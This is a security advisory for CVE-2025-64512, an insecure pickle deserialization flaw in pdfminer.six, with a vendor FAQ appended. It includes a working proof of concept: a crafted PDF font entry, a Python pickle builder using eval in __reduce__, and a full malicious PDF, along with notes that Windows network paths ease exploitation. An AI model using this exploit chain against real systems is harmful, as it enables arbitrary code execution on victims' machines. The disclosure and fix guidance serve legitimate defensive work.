CVE-2025-64512

pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.

Details

# Vulnerable code in pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")  # Insufficient sanitization
    filename = "%s.pickle.gz" % name
    # ... path construction ...
    path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored
    # ...
    return type(str(name), (), pickle.loads(gzfile.read()))  # Unsafe deserialization

An attacker can:

1. Create a malicious PDF with a CMap reference like /malicious
2. Place a malicious pickle file at /malicious.pickle.gz
3. When the PDF is processed, pdfminer loads and deserializes the malicious pickle
4. The pickle deserialization can execute arbitrary Python code

POC

Malicious PDF

Create a PDF with a malicious CMAP entry:

5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj

Here the /Encoding points to /pdfs/malicious. Pdfminer will append the extension .pickle.gz to this filename. Place the PDF in a file called /pdfs/malicious.pdf.

Malicious Pickle

Create a malicious, zipped pickle to execute. For example, with this Python script:

#!/usr/bin/env python3
import pickle
import gzip

def create_demo_pickle():
    print("Creating demonstration pickle file...")

    # Create payload that executes code AND returns a dict (as pdfminer expects)
    class EvilPayload:
        def __reduce__(self):
            # This function will be called during unpickling
            code = "print('Malicious code executed.') or exit(0) or {}"
            return (eval, (code,))

    demo_cmap_data = EvilPayload()

    # Create the pickle file that the path traversal would access
    target_path = "./malicious.pickle.gz"

    try:
        with gzip.open(target_path, 'wb') as f:
            pickle.dump(demo_cmap_data, f)
        print(f"✓ Created demonstration pickle file: {target_path}")
        return target_path

    except Exception as e:
        print(f"✗ Error creating pickle file: {e}")
        return None

if __name__ == "__main__":
    create_demo_pickle()

This will create a harmless, zipped pickle file that will display "Malicious code eecuted." then exit when deserialized. Put the file in /pdfs/malicious.pickle.gz.

Test

Install pdfminer.six and run pdf2text.py /pdfs/malicious.pdf. Instead of processing the PDF as normal you should see the output:

$ pdf2txt.py malicious.pdf
Malicious code executed!

Linux, MacOS - harder to exploit

On Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing and the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which full path to the pickle file to specify. In many cases this would make exploitation difficult or impossible. However:

• An attacker may find a way to write files to a known location on the target system or
• The system in question may, by design, read files from a known location such as a network share designated for PDF ingestion.

Overall, there is generally less risk on a Linux or Linux-like system.

Windows - easier to exploit

Windows paths can specify network locations e.g. WebDAV, SMB. This means that an attacker could host the malicious pickle remotely and specify a path to the it in the PDF. Since there is no need to get the malicious pickle file on to the target system, exploitation is easier on a Windows OS.

Appendix

A complete, malicious PDF is provided here. A dockerized POC is available upon request.

%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj

2 0 obj
<<
/Type /Pages
/Kids [3 0 R]
/Count 1
>>
endobj

3 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Contents 4 0 R
/Resources
<<
/Font
<<
/F1 5 0 R
>>
>>
>>
endobj

4 0 obj
<<
/Length 44
>>
stream
BT
/F1 12 Tf
100 700 Td
(Malicious PDF) Tj
ET
endstream
endobj

5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj

6 0 obj
<<
/Type /Font
/Subtype /CIDFontType2
/BaseFont /MaliciousFont
/CIDSystemInfo
<<
/Registry (Adobe)
/Ordering (Identity)
/Supplement 0
>>
/FontDescriptor 7 0 R
>>
endobj

7 0 obj
<<
/Type /FontDescriptor
/FontName /MaliciousFont
/Flags 4
/FontBBox [-1000 -1000 1000 1000]
/ItalicAngle 0
/Ascent 1000
/Descent -200
/CapHeight 800
/StemV 80
>>
endobj

xref
0 8
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000274 00000 n
0000000370 00000 n
0000000503 00000 n
0000000673 00000 n
trailer
<<
/Size 8
/Root 1 0 R
>>
startxref
871
%%EOF

If pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six.

The difficulty in achieving this depends on the OS, see below.

Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.

CVE-2025-64512 has a CVSS score of 8.6 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (20251107); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-64512? CVE-2025-64512 is a high-severity insecure deserialization vulnerability in pdfminer.six (pip), affecting versions < 20251107. It is fixed in 20251107. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
2. How severe is CVE-2025-64512? CVE-2025-64512 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of pdfminer.six are affected by CVE-2025-64512? pdfminer.six (pip) versions < 20251107 is affected.
4. Is there a fix for CVE-2025-64512? Yes. CVE-2025-64512 is fixed in 20251107. Upgrade to this version or later.
5. Is CVE-2025-64512 exploitable, and should I be worried? Whether CVE-2025-64512 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-64512 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-64512? Upgrade pdfminer.six to 20251107 or later.